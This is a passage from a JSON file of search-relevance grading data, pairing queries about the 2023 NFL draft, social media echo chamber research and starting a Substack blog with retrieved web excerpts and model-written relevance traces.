                "published_date": null,
                "text": "Published: Apr 27, 2023 at 08:19 PM\n                Updated: Apr 29, 2023 at 06:34 PM\n            \n          \n         \n            \n        \n The Carolina Panthers kicked off the 2023 NFL Draft by selecting Alabama QB Bryce Young at No. 1 overall. Find out where all 150 prospects on NFL Network draft analyst Daniel Jeremiah's big board landed, either during the seven-round event or as an undrafted free-agent signing.           \n        \n          \n  Young was an ultra-productive passer for Alabama. The 2021 Heisman Trophy winner has quick feet in his setup and effectively marries his eyes and feet. He remains on balance and delivers the ball accurately to all three levels. He is quick to work through progressions and throws with excellent anticipation. When he has room to step up in the pocket, he can forcefully drive the ball. When his foot space is limited, though, his ball lacks life at times. He can avoid free rushers and extend plays, always keeping his eyes up to capitalize down the field with his arm. He will take the free yards with his legs when necessary, but he's never in run-first mode. His lack of height isn't a major issue, but his narrow frame raises concerns about his durability at the next level. If Young can maintain his health, he should quickly emerge as a quality starting quarterback in the NFL.\n        \n    \n  \n        \n            \n              2023 NFL Draft: Final quick-snap grades for all 32 teams\n            \n            \n              Undrafted rookie free agents: Team signings after 2023 NFL Draft\n            \n            \n              2023 NFL Draft: Pick-by-pick analysis for Day 3, Rounds 4-5\n            \n            \n              2023 NFL Draft: Pick-by-pick analysis for Day 2\n            \n            \n              2023 NFL Draft: Bucky Brooks' pick-by-pick analysis for Round 1\n            \n            \n              2023 NFL Draft Debrief: AFC South, Steelers, Geno Smith up; veteran trade market, rumor mill down\u00a0\n            \n        \n      \n        \n          \n  Anderson is ",
                "model_trace": "Query Decomposition:\n1. {nfl draft}: This document is about the NFL Draft -> ([1], SATISFIED)\n2. {top prospect players}: This document lists the top 150 prospects in the 2023 NFL Draft -> ([1], SATISFIED)\n3. {2023}: The document is specifically about the 2023 NFL Draft -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "2023 NFL draft: Jeff Legwold ranks the top 100 prospects - ESPN",
                "url": "https://www.espn.com/nfl/draft2023/story/_/id/36184202/2023-nfl-draft-jeff-legwold-ranking-top-100-prospects",
                "published_date": null,
                "text": "Jeff Legwold, ESPN Senior WriterApr 28, 2023, 11:07 PM ET   Close    Covered Broncos for nine years for Denver Post and Rocky Mountain News\n  Previously covered Steelers, Bills and Titans\n Member of Pro Football Hall of Fame Board of Selectors since 1999      Over the past several months as the NFL prepares for the 2023 draft, there have been two things evaluators have agreed on the most: (1), The top four quarterbacks in this draft are not the top four players on the board; (2), Despite that, history will be made if those four quarterbacks are selected 1-2-3-4 (perhaps with the help of another blockbuster trade). Such is the power of the position. It will be a drastic departure from the 2022 draft when the first quarterback -- Kenny Pickett -- didn't come off the board until the Pittsburgh Steelers took him at No. 20 and the fourth quarterback -- Matt Corral -- didn't come off the board until the third round with pick No. 94 by the Carolina Panthers. It has also been a long time since the top cornerbacks on the board are physically bigger than the top receivers, with teams sorting through a bevy of 175- to 185-pound wideouts. With the 2023 NFL draft (April 27, 8 p.m. ET on ESPN, ABC, ESPN App) nearing, we present a top 100 based on grades, not position. This isn't a mock draft, just the top 100 players ranked, regardless of position. Thanks again to all who toobenk the time to chat, answer my pile of questions and put up with this annual project, including some of whom have put up with it for well over three decades. Note: Best verified or electronically timed 40-yard dash time in parentheses.   1. Will Anderson Jr., OLB, Alabama, 6-foot-3\u00bd. 253 pounds (4.60) He would have been the best player on the board in the 2022 draft as well. The only two-time unanimous All-American in the storied program's history with 34.5 career sacks (second only to Derrick Thomas in Crimson Tide history), 62 tackles for loss in 41 career games. His skill set is vast and sets a reliable, firm edge. Rushes with power and explosiveness.",
                "model_trace": "Query Decomposition:\n1. {NFL draft}: This document is about the NFL draft -> ([1], SATISFIED)\n2. {top prospect players}: This document ranks the top 100 prospects -> ([1], SATISFIED)\n3. {2023}: The document is specifically about the 2023 NFL draft -> ([1], SATISFIED)\n\nAssessment: The document clearly satisfies all key subcomponents of the query, providing a ranking of the top 100 prospects for the 2023 NFL draft. YES"
            },
            {
                "grade": "YES",
                "title": "Daniel Jeremiah's top 50: 2023 NFL Draft prospect rankings 3.0",
                "url": "https://www.nfl.com/news/daniel-jeremiah-s-top-50-2023-nfl-draft-prospect-rankings-3-0",
                "published_date": null,
                "text": "Published: Mar 09, 2023 at 10:33 AM    With the 2023 NFL Scouting Combine in the books and pro day season starting up, NFL Network draft analyst and former NFL scout Daniel Jeremiah updates his ranking of the top 50 draft-eligible prospects. The 2023 NFL Draft will be held April 27-29 in Kansas City, Missouri.     Pete Carroll says Geno Smith's deal won't preclude Seahawks from drafting QB with No. 5 pick   Lance Zierlein 2023 NFL mock draft 2.1: Raiders go up for C.J. Stroud; Colts select Anthony Richardson   2023 NFL Draft: Pro day schedule   Bears GM Ryan Poles 'not greedy' with No. 1 overall pick, but QB-needy teams would have to go 'above and beyond' to close a deal now   2023 NFL Draft order for Round 1, top needs for all 32 teams entering offseason   2023 All-Combine Team, Offense: QB C.J. Stroud, TE Darnell Washington impress in Indianapolis         Young was an ultra-productive passer for Alabama. The 2021 Heisman Trophy winner has quick feet in his setup and effectively marries his eyes and feet. He remains on balance and delivers the ball accurately to all three levels. He is quick to work through progressions and throws with excellent anticipation. When he has room to step up in the pocket, he can forcefully drive the ball. When his foot space is limited, though, his ball lacks life at times. He can avoid free rushers and extend plays, always keeping his eyes up to capitalize down the field with his arm. He will take the free yards with his legs when necessary, but he's never in run-first mode. His lack of height isn't a major issue, but his narrow frame raises concerns about his durability at the next level. If Young can maintain his health, he should quickly emerge as a quality starting quarterback in the NFL.       Anderson is a long, athletic edge rusher with excellent power and production. Against the pass, he is at his best when he's wide on the edge and has a runway. He can win with his suddenness/speed or transfer that speed into power and run through offensive tackles. He also has a good feel",
                "model_trace": "Query Decomposition:\n1. {nfl draft}: This document is about the NFL Draft -> ([1], SATISFIED)\n2. {top prospect players}: This document provides a ranking of the top 50 draft-eligible prospects -> ([1], SATISFIED)\n3. {2023}: The document specifically mentions the 2023 NFL Draft -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. It provides a detailed ranking of the top 50 draft-eligible prospects for the 2023 NFL Draft, which aligns perfectly with the user's intent.\n\nYES"
            }
        ]
    },
    {
        "query": "academic studies on the psychological and societal impacts of social media echo chambers",
        "grid_pos": [
            0,
            0
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of technical topics that require a deep understanding of the latest research in computer science, social science, chemistry, and logistics. They are specific and detailed, drawing on specialized domain knowledge, yet still representative of the kinds of queries a user might plausibly submit to a search engine like Exa. The queries test Exa's ability to parse complex natural language, identify relevant scientific publications, and provide summaries of the latest advancements in these active research areas."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The echo chamber effect on social media",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7936330/",
                "published_date": "2021-03-03",
                "text": "Journal List\n\nProc Natl Acad Sci U S A\n\nv.118(9); 2021 Mar 2\n\nPMC7936330\n\nProc Natl Acad Sci U S A. 2021 Mar 2; 118(9): e2023301118. Computer Sciences, Psychological and Cognitive Sciences Significance We explore the key differences between the main social media platforms and how they are likely to influence information spreading and the formation of echo chambers. To assess the different dynamics, we perform a comparative analysis on more than 100 million pieces of content concerning controversial topics (e.g., gun control, vaccination, abortion) from Gab, Facebook, Reddit, and Twitter. The analysis focuses on two main dimensions: 1) homophily in the interaction networks and 2) bias in the information diffusion toward like-minded peers. Our results show that the aggregation in homophilic clusters of users dominates online dynamics. However, a direct comparison of news consumption on Facebook and Reddit shows higher segregation on Facebook. Keywords: information spreading, echo chambers, social media, polarization Abstract Social media may limit the exposure to diverse perspectives and favor the formation of groups of like-minded users framing and reinforcing a shared narrative, that is, echo chambers. However, the interaction paradigms among users and feed algorithms greatly vary across social media platforms. This paper explores the key differences between the main social media platforms and how they are likely to influence information spreading and echo chambers\u2019 formation. We perform a comparative analysis of more than 100 million pieces of content concerning several controversial topics (e.g., gun control, vaccination, abortion) from Gab, Facebook, Reddit, and Twitter. We quantify echo chambers over social media by two main ingredients: 1) homophily in the interaction networks and 2) bias in the information diffusion toward like-minded peers. Our results show that the aggregation of users in homophilic clusters dominate online interactions on Facebook and Twitter. We conclude the paper by directly comparing ",
                "model_trace": "Query Decomposition:\n1. {academic studies}: The document is a journal article from the Proceedings of the National Academy of Sciences, which is an academic source -> ([1], SATISFIED)\n2. {psychological impacts of social media echo chambers}: The document mentions the psychological and cognitive sciences, and it explores how social media influences information spreading and the formation of echo chambers, which can be inferred to have psychological impacts -> ([2], SATISFIED)\n3. {societal impacts of social media echo chambers}: The document discusses the societal implications of echo chambers by analyzing controversial topics like gun control, vaccination, and abortion, which are societal issues -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document is an academic study that addresses both the psychological and societal impacts of social media echo chambers. YES."
            },
            {
                "grade": "YES",
                "title": "The echo chamber effect on social media | Proceedings of the National Academy of Sciences",
                "url": "https://www.pnas.org/doi/10.1073/pnas.2023301118",
                "published_date": "2021-03-02",
                "text": "Edited by Arild Underdal, University of Oslo, Oslo, Norway, and approved January 14, 2021 (received for review November 15, 2020) February 23, 2021 118 (9) e2023301118 Significance We explore the key differences between the main social media platforms and how they are likely to influence information spreading and the formation of echo chambers. To assess the different dynamics, we perform a comparative analysis on more than 100 million pieces of content concerning controversial topics (e.g., gun control, vaccination, abortion) from Gab, Facebook, Reddit, and Twitter. The analysis focuses on two main dimensions: 1) homophily in the interaction networks and 2) bias in the information diffusion toward like-minded peers. Our results show that the aggregation in homophilic clusters of users dominates online dynamics. However, a direct comparison of news consumption on Facebook and Reddit shows higher segregation on Facebook. Abstract Social media may limit the exposure to diverse perspectives and favor the formation of groups of like-minded users framing and reinforcing a shared narrative, that is, echo chambers. However, the interaction paradigms among users and feed algorithms greatly vary across social media platforms. This paper explores the key differences between the main social media platforms and how they are likely to influence information spreading and echo chambers\u2019 formation. We perform a comparative analysis of more than 100 million pieces of content concerning several controversial topics (e.g., gun control, vaccination, abortion) from Gab, Facebook, Reddit, and Twitter. We quantify echo chambers over social media by two main ingredients: 1) homophily in the interaction networks and 2) bias in the information diffusion toward like-minded peers. Our results show that the aggregation of users in homophilic clusters dominate online interactions on Facebook and Twitter. We conclude the paper by directly comparing news consumption on Facebook and Reddit, finding higher segregation on Facebook.\n\nSign up for PN",
                "model_trace": "Query Decomposition:\n1. {academic studies}: The document is an academic study published in the Proceedings of the National Academy of Sciences -> ([1], SATISFIED)\n2. {psychological impacts of social media echo chambers}: The document does not explicitly mention psychological impacts but focuses on the dynamics of echo chambers in social media -> ([0], UNSURE)\n3. {societal impacts of social media echo chambers}: The document discusses how echo chambers form and influence information spreading on social media platforms, which can be inferred to have societal impacts -> ([2], SATISFIED)\n\nAssessment: The document is an academic study and discusses the societal impacts of social media echo chambers. Although it does not explicitly cover psychological impacts, it meets the key subcomponents that we can evaluate. YES."
            },
            {
                "grade": "YES",
                "title": "Understanding Echo Chambers and Filter Bubbles: The Impact of Social Media on Diversification and Partisan Shifts in News Consumption",
                "url": "https://misq.umn.edu/understanding-echo-chambers-and-filter-bubbles-the-impact-of-social-media-on-diversificationi-and-partisan-shifts-in-news-consumption.html",
                "published_date": "2020-12-01",
                "text": "Abstract\n Echo chambers and filter bubbles are potent metaphors that encapsulate widespread public fear that the use of social media may limit the information that users encounter or consume online. Specifically, the concern is that social media algorithms combined with tendencies to interact with like-minded others both limits users\u2019 exposure to diverse viewpoints and encourages the adoption of more extreme ideological positions. Yet empirical evidence about how social media shapes information consumption is inconclusive. We articulate how characteristics of platform algorithms and users\u2019 online social networks may combine to shape user behavior. We bring greater conceptual clarity to this phenomenon by expanding beyond discussion of a binary presence or absence of echo chambers and filter bubbles to a richer set of outcomes incorporating changes in both diversity and slant of users\u2019 information sources. Using a data set with over four years of web browsing history for a representative panel of nearly 200,000 U.S. adults, we analyzed how individuals\u2019 social media usage was associated with changes in the information sources they chose to consume. We find differentiated impacts on news consumption by platform. Increased use of Facebook was associated with increased information source diversity and a shift toward more partisan sites in news consumption; increased use of Reddit with increased diversity and a shift toward more moderate sites; and increased use of Twitter with little to no change in either. Our results demonstrate the value of adopting a nuanced multidimensional view of how social media use may shape information consumption.\nPosted online August 26, 2020\n\nAdditional Details\n\nAuthor\n Brent Kitchens, Steven L. Johnson, and Peter Gray\n\nYear\n 2020\n\nVolume\n 44\n\nIssue\n 4\n\nKeywords\n Echo chamber, filter bubble, diversity, polarization, slant, news, personalization\n\nPage Numbers\n 1619-1649; DOI: 10.25300/MISQ/2020/16371\n\nCopyright \u00a9 2023 MISQ. All rights reserved.",
                "model_trace": "Query Decomposition:\n1. {academic studies}: This document is an academic study published in a journal -> ([1], SATISFIED)\n2. {psychological impacts of social media echo chambers}: The document does not specifically address psychological impacts -> ([0], UNSURE)\n3. {societal impacts of social media echo chambers}: The document discusses societal impacts such as changes in news consumption and ideological shifts -> ([1], SATISFIED)\n\nAssessment: The document is an academic study and covers societal impacts of social media echo chambers, though it does not address psychological impacts directly. Since the relevant subcomponents are satisfied, the document is helpful. YES."
            },
            {
                "grade": "YES",
                "title": "The echo chamber effect on social media - PNAS",
                "url": "https://www.pnas.org/doi/10.1073/pnas.2023301118",
                "published_date": null,
                "text": "Edited by Arild Underdal, University of Oslo, Oslo, Norway, and approved January 14, 2021 (received for review November 15, 2020)   February 23, 2021 118 (9) e2023301118      Significance We explore the key differences between the main social media platforms and how they are likely to influence information spreading and the formation of echo chambers. To assess the different dynamics, we perform a comparative analysis on more than 100 million pieces of content concerning controversial topics (e.g., gun control, vaccination, abortion) from Gab, Facebook, Reddit, and Twitter. The analysis focuses on two main dimensions: 1) homophily in the interaction networks and 2) bias in the information diffusion toward like-minded peers. Our results show that the aggregation in homophilic clusters of users dominates online dynamics. However, a direct comparison of news consumption on Facebook and Reddit shows higher segregation on Facebook.   Abstract Social media may limit the exposure to diverse perspectives and favor the formation of groups of like-minded users framing and reinforcing a shared narrative, that is, echo chambers. However, the interaction paradigms among users and feed algorithms greatly vary across social media platforms. This paper explores the key differences between the main social media platforms and how they are likely to influence information spreading and echo chambers\u2019 formation. We perform a comparative analysis of more than 100 million pieces of content concerning several controversial topics (e.g., gun control, vaccination, abortion) from Gab, Facebook, Reddit, and Twitter. We quantify echo chambers over social media by two main ingredients: 1) homophily in the interaction networks and 2) bias in the information diffusion toward like-minded peers. Our results show that the aggregation of users in homophilic clusters dominate online interactions on Facebook and Twitter. We conclude the paper by directly comparing news consumption on Facebook and Reddit, finding higher segregation on Facebook. \n \n \n ",
                "model_trace": "Query Decomposition:\n1. [academic studies]: The document is published in PNAS, a reputable academic journal -> ([1], SATISFIED)\n2. [psychological impacts of social media echo chambers]: The document does not explicitly mention psychological impacts -> ([0], UNSURE)\n3. [societal impacts of social media echo chambers]: The document discusses societal impacts by analyzing how different social media platforms influence information spreading and the formation of echo chambers -> ([1], SATISFIED)\n\nAssessment: The document satisfies the key subcomponents of being an academic study and discussing the societal impacts of social media echo chambers. The psychological impacts subcomponent is tagged [0], so it does not affect the evaluation.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Echo chamber effects on short video platforms - PMC - NCBI",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC10111082/",
                "published_date": null,
                "text": "Journal List\n                \n            \n                \n                    Scientific Reports\n                \n            \n                \n                    PMC10111082\n                \n            \n    \n \n        \n        \n  \n        \n           Abstract In recent years, short videos have become an increasingly vital source of information. To compete for users\u2019 attention, short video platforms have been overusing algorithmic technology, making the group polarization intensify, which is likely to push users into the homogeneous \u201cecho chamber\u201d. However, echo chambers can contribute to the spread of misleading information, false news, or rumors, which have negative social impacts. Therefore, it is necessary to explore echo chamber effects in short video platforms. Moreover, the communication paradigms between users and feed algorithms greatly vary across short video platforms. This paper investigated echo chamber effects of three popular short video platforms (Douyin, TikTok, and Bilibili) using social network analysis and explored how user features influenced the generation of echo chambers. We quantified echo chamber effects through two primary ingredients: selective exposure and homophily, in both platform and topic dimensions. Our analyses indicate that the gathering of users into homogeneous groups dominates online interactions on Douyin and Bilibili. We performed performance comparison of echo chamber effects and found that echo chamber members tend to display themselves to attract the attention of their peers and that cultural differences can prevent the development of echo chambers. Our findings are of great value in designing targeted management strategies to prevent the spread of misleading information, false news, or rumors.  Subject terms:  Scientific data, Information technology    Introduction Ranging from a few seconds to a few minutes, short videos have become a popular form of human\u2019s entertainment and content sharing. Influenced by the attention economy, short video platforms have started",
                "model_trace": "Query Decomposition:\n1. {academic studies}: This document is an academic article published in a scientific journal -> ([1], SATISFIED)\n2. {psychological impacts of social media echo chambers}: The document does not explicitly mention psychological impacts, focusing instead on social impacts and algorithmic influences -> ([0], UNSURE)\n3. {societal impacts of social media echo chambers}: The document discusses the negative social impacts of echo chambers, such as the spread of misleading information and false news -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {academic studies} and {societal impacts of social media echo chambers}. Both of these subcomponents are SATISFIED. The document does not need to satisfy the psychological impacts subcomponent as it is tagged [0].\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Echo Chambers: Emotional Contagion and Group Polarization on ...",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5131349/",
                "published_date": null,
                "text": "Journal List\n \n \n \n Scientific Reports\n \n \n \n PMC5131349\n \n \n \n \n \n \n    Abstract Recent findings showed that users on Facebook tend to select information that adhere to their system of beliefs and to form polarized groups \u2013 i.e., echo chambers. Such a tendency dominates information cascades and might affect public debates on social relevant issues. In this work we explore the structural evolution of communities of interest by accounting for users emotions and engagement. Focusing on the Facebook pages reporting on scientific and conspiracy content, we characterize the evolution of the size of the two communities by fitting daily resolution data with three growth models \u2013 i.e. the Gompertz model, the Logistic model, and the Log-logistic model. Although all the models appropriately describe the data structure, the Logistic one shows the best fit. Then, we explore the interplay between emotional state and engagement of users in the group dynamics. Our findings show that communities\u2019 emotional behavior is affected by the users\u2019 involvement inside the echo chamber. Indeed, to an higher involvement corresponds a more negative approach. Moreover, we observe that, on average, more active users show a faster shift towards the negativity than less active ones.   Misinformation has traditionally represented a political, social, and economic risk. The digital age, in which new ways of communication arose, has exacerbated its extent, and mitigation strategies are even more uncertain. However, according to the World Economic Forum, massive digital misinformation remains one of the main threats to our society 1 . The diffusion of social media caused a shift of paradigm in the creation and consumption of information. We passed from a mediated (e.g., by journalists) to a more disintermediated selection process. Such a disintermediation elicits the tendencies of the users to a) select information adhering to their system of beliefs \u2013 i.e., confirmation bias \u2013 and b) to form groups of like-minded people where they polarize their o",
                "model_trace": "Query Decomposition:\n1. {academic studies}: This document is an academic study published on the National Center for Biotechnology Information (NCBI) platform, which is a reputable source for academic research -> ([1], SATISFIED)\n2. {psychological impacts of social media echo chambers}: The document discusses emotional contagion and the emotional behavior of users within echo chambers, which relates to psychological impacts -> ([1], SATISFIED)\n3. {societal impacts of social media echo chambers}: The document mentions the societal risks of misinformation and the effects of echo chambers on public debates, which relates to societal impacts -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            }
        ]
    },
    {
        "query": "how to start a substack blog on the history of obscure board games",
        "grid_pos": [
            0,
            2
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries cover a diverse range of topics that require deep subject matter knowledge and understanding of internet culture and content to properly evaluate. They test Exa's ability to handle specific, detailed queries on niche or complex subjects, as well as its ability to identify high-quality, authoritative content in the form of Substack blogs and personal blog posts. The queries involve topics like board games, quantum computing, the metaverse, medieval art, and K-pop - all areas that would require significant external knowledge to properly address. Exa would need to understand the context and nuance of these queries to identify the most relevant and useful content."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "The Forgotten Files",
                "url": "https://forgottenfiles.substack.com/",
                "published_date": "2023-01-30",
                "text": "The Forgotten Files Fun-size history By Peter Pappas \u00b7 Launched 2 years ago By registering you agree to Substack's Terms of Service, our Privacy Policy, and our Information Collection Notice \u201cIf there's one thing I love it's rediscovering forgotten history. Peter Pappas does an entertaining job showing us lost treasures from the past.\u201d E.R. Flynn, Escape from Clowntown | Comics of E.R. Flynn Five Big Scary Clowns (1856) Heroic in scale (8.5 x 11 feet), its life-sized figures towered above the viewer Jan 30 3 1 Time before Time Zones (1865) It must be 5 o'clock somewhere Jan 26 4 1 King Tut Takes America: The Rise of Egyptomania (1920s) Discovering the Art Deco Legacy of the Roaring Twenties Feb 2 3 2 How to Incite a White Riot (1898) White supremacists destroy Wilmington NC, a thriving mixed-race city Jan 23 6 4 Most popular Victorian Taxidermy Hats (c 1883) 3 My Country, Tis of Thee - New Prussia (1916) 4 A New Yorker's Idea of the USA (1937) 7 1 Mountains and Rivers: Line Up! (1849) 6 2 Chicago's Gangland Map and Dictionary (1931) 6 3 In 1923, Cartoonist Predicted AI-Art by 2023 (1923) 6 1 See all popular New Community In 1923, Cartoonist Predicted AI-Art by 2023 (1923) Meet the \"Cartoon Dynamo\" Jan 19 6 1 The World\u2019s Greatest War (1917) Before there was WWII, there was only \"The Great War\" Jan 17 3 America Cities on the Move (c1883) Trace population rankings from 1790-1880 Jan 12 4 4 Concrete Socialism in Red (1895) Using color to make your point Jan 9 6 2 Mountains and Rivers: Line Up! (1849) A pioneering infographic map Jan 5 6 2 Battle Of The Bulges! (1941) Need to work off those holiday pounds? Jan 2 4 6 Merry Christmas (1919) Hawkshaw the Detective outwits the criminals Dec 22, 2022 3 Bostonian's Idea of the USA Where Cape Cod is bigger than Florida Dec 19, 2022 3 2 See all Most popular Victorian Taxidermy Hats (c 1883) 3 My Country, Tis of Thee - New Prussia (1916) 4 A New Yorker's Idea of the USA (1937) 7 1 Mountains and Rivers: Line Up! (1849) 6 2 Chicago's Gangland Map and Dictionary (1931) 6 3 In 192",
                "model_trace": "Query Decomposition:\n1. {how to start a substack blog}: The document does not provide any information on how to start a Substack blog -> ([0], UNSATISFIED)\n2. {on the history of obscure board games}: The document is a Substack blog about forgotten history but does not focus on the history of obscure board games -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy either of the key subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "18xx Mistakes",
                "url": "https://18xxmistakes.substack.com/",
                "published_date": "2021-05-05",
                "text": "18xx Mistakes I make a lot of mistakes when I play 18xx games. I want to share these with you all, so hopefully you can tell me how not to make them again! By Tom \u00b7 Launched 2 years ago By registering you agree to Substack's Terms of Service, our Privacy Policy, and our Information Collection Notice Welcome to 18xx Mistakes The first 18xx I played was 1830 on rr18xx in December, 2019. That game finished in a bankruptcy, and I luckily won that game. The second game finished similarly. Since then, my \u201cwinning streak\u201d was over. I cannot win an 18xx game. There is a fantastic and welcoming online\u2026 Tom May 5, 2021 1 New Top Community Starting the Chesapeake & Ohio Mistakes in 1830 Tom Jun 21, 2022 2 Journal: a 5 player game of 1846 Mistakes in 1846 Tom May 11, 2022 Blunders in the Midwest Mistakes in 1846 Tom Oct 1, 2021 2 I paid off my loans and got shorted Mistakes in a game of 1817 Tom Jul 6, 2021 1 I let the owner of the Camden and Amboy Private Company float the Pennsylvania Railroad Mistakes in a game of 1830 Tom Jun 2, 2021 1 1 I bought the poison 4T Mistakes in a game of 1830 Tom May 10, 2021 1 1 18xx Mistakes About Archive",
                "model_trace": "Query Decomposition:\n1. {how to start a Substack blog}: The document is an example of a Substack blog but does not provide instructions on how to start one -> ([1], UNSATISFIED)\n2. {history of obscure board games}: The document is about mistakes made in 18xx games, which are a specific type of board game, but it does not cover the history of obscure board games -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy either of the key subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "18xx Mistakes",
                "url": "https://18xxmistakes.substack.com/p/welcome",
                "published_date": "2021-05-05",
                "text": "The first 18xx I played was 1830 on rr18xx in December, 2019. That game finished in a bankruptcy, and I luckily won that game. The second game finished similarly. Since then, my \u201cwinning streak\u201d was over. I cannot win an 18xx game. There is a fantastic and welcoming online community where these games can be played. These groups are great, and I wouldn\u2019t be able to play these games otherwise. Through various groups on Slack and Discord, I\u2019ve been able to try a fair number of different titles (primarily asynchronously) on Board18 and 18xx.games: 1830, 1846, 1817, 1817NA, 1860, 1862, 1882, 1889, 1828, and probably some others I\u2019ve forgotten. I really enjoy playing these games, but keep messing them up. There is a lot to learn, and the gameplay butterflies out. The consequences of decisions made by design or by accident manifest themselves much later. I find it hard to trace back my catastrophic mistakes back to their root cause. I want to identify what I did wrong so that I (hopefully) won\u2019t make the same mistake again. This is where this blog comes in. I\u2019d like to share mistakes I make in my 18xx games. I\u2019m going to try to suggest why I think they were mistakes, and hopefully start a discussion about where I\u2019m going wrong, and how to get everything back on track. I hope this will become useful for others trying to get better at 18xx games too. Welcome to 18xx Mistakes by me, Tom. A bad 18xx player trying to figure out how to get better. Subscribe to get future posts directly in your emails. In the meantime, tell your friends!",
                "model_trace": "Query Decomposition:\n1. [how to start a substack blog]: This document does not contain information on how to start a Substack blog -> ([0], UNSATISFIED)\n2. [history of obscure board games]: The document is about the author's experiences and mistakes with 18xx games, which are a specific type of board game, but it does not focus on the history of these games -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide information on how to start a Substack blog or on the history of obscure board games. NO."
            },
            {
                "grade": "YES",
                "title": "How to start a newsletter and blog - On Substack",
                "url": "https://on.substack.com/p/start-a-substack-newsletter",
                "published_date": null,
                "text": "On Substack\n                SubscribeSign in\n                        Share this post\n                            How to start a Substack\n                              on.substack.com\n                            Copy link\n                            Facebook\n                            Email\n                            Note\n                            Other\n                Resources\n              How to start a Substack\n              Start writing in minutes with our step-by-step guides for side hustlers and aspiring media business owners\n                          Oct 28, 2022\n                        374\n                                  Share this post\n                                      How to start a Substack\n                                        on.substack.com\n                                      Copy link\n                                      Facebook\n                                      Email\n                                      Note\n                                      Other\n                      73\n                      Share\n                  On Substack, you own your mailing list, subscriber payments, and intellectual property. If you decide to leave, you\u2019ll take what you\u2019ve built with you.\n                  Writers, podcasters, and video creators at all stages can pursue a creative side project or build an independent media business supported by their subscribers. For each path, there are different areas to focus on. Below, find the right guide for you and start laying foundations to do the work you care about most.\n                  Start writing\n                  Launching a media business\n                  If you\u2019re ready to make money from your publication, and plant roots for this to be your main business, this guide outlines the key steps you need to take. This includes guidance on developing a strategy, setting up payments, building your publication, making a splashy launch, and how to keep growing.\n                  Launch a business\n                  Kickstarting a community\n          ",
                "model_trace": "Query Decomposition:\n1. {how to start a Substack blog}: The document provides a guide on how to start a Substack, which includes steps for setting up a newsletter and blog on Substack -> ([1], SATISFIED)\n2. {on the history of obscure board games}: The document does not specifically address content related to the history of obscure board games -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {how to start a Substack blog}, which is satisfied by the document. The document provides a step-by-step guide for starting a Substack, which aligns with the user's intent to start a blog on Substack. The specific content topic (history of obscure board games) does not affect the usefulness of the guide on how to start the blog itself. YES"
            },
            {
                "grade": "YES",
                "title": "Starting from scratch: advice on building a career and ... - On Substack",
                "url": "https://on.substack.com/p/growing-on-substack-from-scratch",
                "published_date": null,
                "text": "A week after I got laid off from my staff job as a news editor, I sent out my first newsletter.  I must confess that my initial email dispatch wasn\u2019t sent on Substack, but only because it didn\u2019t exist back then.  1   When I started my newsletter, I\u2019d been an editor at an online magazine but I didn\u2019t have much of a public profile\u2014a few hundred Twitter followers, no book, nor podcast. What I did have was a desire to leave editing behind and become a full-time writer.  I moved over from Mailchimp to Substack at the beginning of 2019, and things took off from there. In my first year on Substack, my audience tripled. By my second year, I landed a deal for my first book,  You\u2019re the Business , as a result of the audience I\u2019d built through my newsletter. My readership is now at 17,000 subscribers, and it remains the largest of all the platforms that I\u2019m on.   I\u2019m not alone in finding success on Substack starting from scratch. When  I asked on Notes  for stories of writers with no pre-existing audience, the response was overwhelming (nearly 600 replies!). I heard from poets, therapists, and even a sommelier who all started their Substacks with no social followings.    , for example, launched a meal-planning newsletter in Romanian and just surpassed 24,000 subscribers, 500 of them paid.   And then there\u2019s    ; less than two years after launching    , the neuroscientist was able to  quit his job in academia  to write his Substack full-time.    , who writes investment newsletter    , started his Substack from scratch as a college student in the hope of attracting an employer. He  watched it grow by 100 subscribers a week , and it soon provided a full-time income.    , of    , recently launched a  second publication  on a completely different topic\u2014a read-along of Robert Caro\u2019s series on President Lyndon B. Johnson. Web designer     started    , a serialized newsletter of the gothic novel, as a side project, and it\u2019s since attracted over 230,000 fans. These creators, whom I like to think of as Substack\u2019s native stars, repres",
                "model_trace": "Query Decomposition:\n1. {how to start a substack blog}: The document provides advice on starting a Substack blog and includes examples of people who have successfully started from scratch -> ([1], SATISFIED)\n2. {history of obscure board games}: The document does not specifically address starting a Substack blog on the history of obscure board games -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {how to start a substack blog}, which is satisfied. The document provides general advice on starting a Substack blog, which would be useful for someone looking to start a blog on any topic, including the history of obscure board games. YES."
            },
            {
                "grade": "YES",
                "title": "A guide to customizing and organizing your Substack website",
                "url": "https://on.substack.com/p/guide-website-customization-organization",
                "published_date": null,
